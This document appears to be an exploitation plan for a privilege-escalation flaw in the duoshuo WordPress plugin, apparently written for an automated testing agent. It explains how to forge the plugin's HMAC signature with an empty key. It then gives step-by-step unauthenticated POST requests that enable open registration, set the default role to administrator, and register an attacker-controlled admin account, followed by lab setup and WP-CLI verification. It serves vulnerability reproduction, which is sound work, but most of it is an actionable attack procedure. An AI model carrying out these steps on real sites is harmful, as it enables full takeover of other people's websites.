Exploitation Research Plan: CVE-2026-14482 (Duoshuo Privilege Escalation)

1. Vulnerability Summary

The 多说社会化评论框 (duoshuo) plugin for WordPress (versions <= 1.2) contains a critical flaw in its standalone API handler (api.php). The endpoint allows for arbitrary WordPress option updates because it lacks proper capability checks and relies on a forgeable HMAC signature. The signature is keyed against a WordPress option (typically duoshuo_secret) that is empty by default or if the plugin has not been fully configured/synced. An unauthenticated attacker can forge this signature using an empty string as the key, allowing them to call update_option() with arbitrary keys and values.

2. Attack Vector Analysis

• Endpoint: /wp-content/plugins/duoshuo/api.php (Direct file access).
• Vulnerable Parameter(s): option, value, and the parameter containing the HMAC signature (likely signature or s).
• Authentication: Unauthenticated.
• Preconditions: The duoshuo_secret option in the WordPress database must be empty or null (the default state after installation but before "connecting" the site to the Duoshuo service).

3. Code Flow (Inferred)

1. Entry Point: An HTTP POST request is made directly to wp-content/plugins/duoshuo/api.php.
2. Signature Verification: The script retrieves the secret key: $secret = get_option('duoshuo_secret');.
3. HMAC Calculation: The script calculates an HMAC-SHA1 of the incoming POST data (minus the signature itself) using $secret.
4. Comparison: The script compares the calculated HMAC with the provided signature. If $secret is empty, an attacker can calculate the correct HMAC using an empty string as the key.
5. Sink: Upon successful verification, the script processes an action (likely update_option) and executes: update_option($_POST['option'], $_POST['value']);.

4. Nonce/Signature Acquisition Strategy

This vulnerability does not use standard WordPress nonces. Instead, it uses a custom HMAC-SHA1 signature.

Signature Generation Logic:
Since the duoshuo_secret is likely empty, the signature can be generated locally.

1. Identify the exact data string used for the HMAC. In historical versions of this plugin, it often uses the raw POST body or the parameters sorted alphabetically and concatenated.
2. Logic: hash_hmac('sha1', $payload_string, '').

Actionable identifiers to verify in api.php:

• Look for get_option('duoshuo_secret') or get_option('duoshuo_short_name').
• Identify the parameter used for the signature (e.g., $_POST['signature']).
• Identify the data serialization method (e.g., http_build_query or custom concatenation).

5. Exploitation Strategy

The goal is to enable open registration and set the default role to 'administrator'.

Step 1: Enable User Registration

• Method: POST
• URL: http://<target>/wp-content/plugins/duoshuo/api.php
• Parameters:
  • action: update_option (inferred)
  • option: users_can_register
  • value: 1
  • signature: [HMAC-SHA1 of above params with empty key]
• Tool: http_request

Step 2: Set Default Role to Administrator

• Method: POST
• URL: http://<target>/wp-content/plugins/duoshuo/api.php
• Parameters:
  • action: update_option
  • option: default_role
  • value: administrator
  • signature: [HMAC-SHA1 of above params with empty key]
• Tool: http_request

Step 3: Register a New Account

• Method: POST
• URL: http://<target>/wp-login.php?action=register
• Parameters:
  • user_login: attacker_admin
  • user_email: attacker@example.com
• Tool: http_request

6. Test Data Setup

1. Install the duoshuo plugin version 1.2.
2. Ensure the plugin is activated but not configured (do not enter a secret key or connect to Duoshuo).
3. Ensure users_can_register is initially 0 and default_role is subscriber.
   • wp option update users_can_register 0
   • wp option update default_role subscriber

7. Expected Results

• The requests to api.php should return a success message (often JSON like {"code":0} or a simple "OK").
• The users_can_register option in WordPress will change to 1.
• The default_role option in WordPress will change to administrator.
• The registration request will successfully create a user who, upon first login, has full administrative access.

8. Verification Steps

After the exploit attempts, use WP-CLI to confirm the state change:

1. Check Options:
   • wp option get users_can_register (Expected: 1)
   • wp option get default_role (Expected: administrator)
2. Check New User:
   • wp user list --role=administrator (Check if attacker_admin is present in the list).

9. Alternative Approaches

• If action is not update_option: Search api.php for any call to update_option. The parameter names might be name instead of option.
• If Signature fails: The plugin might be using a different serialization (e.g., JSON). Inspect the api.php source to see how it reconstructs the data for the HMAC check.
• Direct Admin Creation: Instead of changing registration settings, attempt to update the wp_capabilities of an existing low-privileged user ID directly if the plugin allows updating user meta (less likely than update_option).